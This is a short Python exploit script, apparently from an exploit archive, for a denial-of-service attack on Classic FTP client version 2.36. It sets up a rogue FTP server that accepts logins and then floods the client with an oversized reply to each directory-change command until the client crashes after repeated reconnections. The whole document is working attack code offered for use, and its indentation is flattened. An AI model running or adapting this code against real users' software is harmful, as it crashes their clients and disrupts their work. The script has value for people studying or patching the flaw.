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#!/usr/bin/env python
#
# Exploit Title: Classic FTP v2.36 CWD Reconnection DOS
# Date: 27/07/2015
# Exploit Author: St0rn <fabien[at]anbu-pentest[dot]com>
# Vendor Homepage: www.nchsoftware.com
# Software Link: www.nchsoftware.com/classic/cftpsetup.exe
# Version: 2.36
# Tested on: Windows 7
#
import socket
import sys
import time
junk1="250 "+"a"*(80000-6)+"\r\n"
c=1
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",21))
s.listen(10)
while 1:
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
conn.send("220 Classic FTP Xsploit\r\n")
try:
while 1:
buf=conn.recv(1024)
if "USER" in buf:
conn.send("331 User name okay, need password\r\n")
if "PASS" in buf:
conn.send("230-Password accepted.\r\n")
conn.send("230 User logged in.\r\n")
if "CWD" in buf:
conn.send(junk1)
print "Evil Response send with %s bytes!" %len(junk1)
print "Loop %s: \n\tWaiting client reconnection, crash in %s loop\n" %(c,(122-c))
if c==122:
print "BOOMmMm!"
c+=1
if "QUIT" in buf:
break
except:
time.sleep(0)
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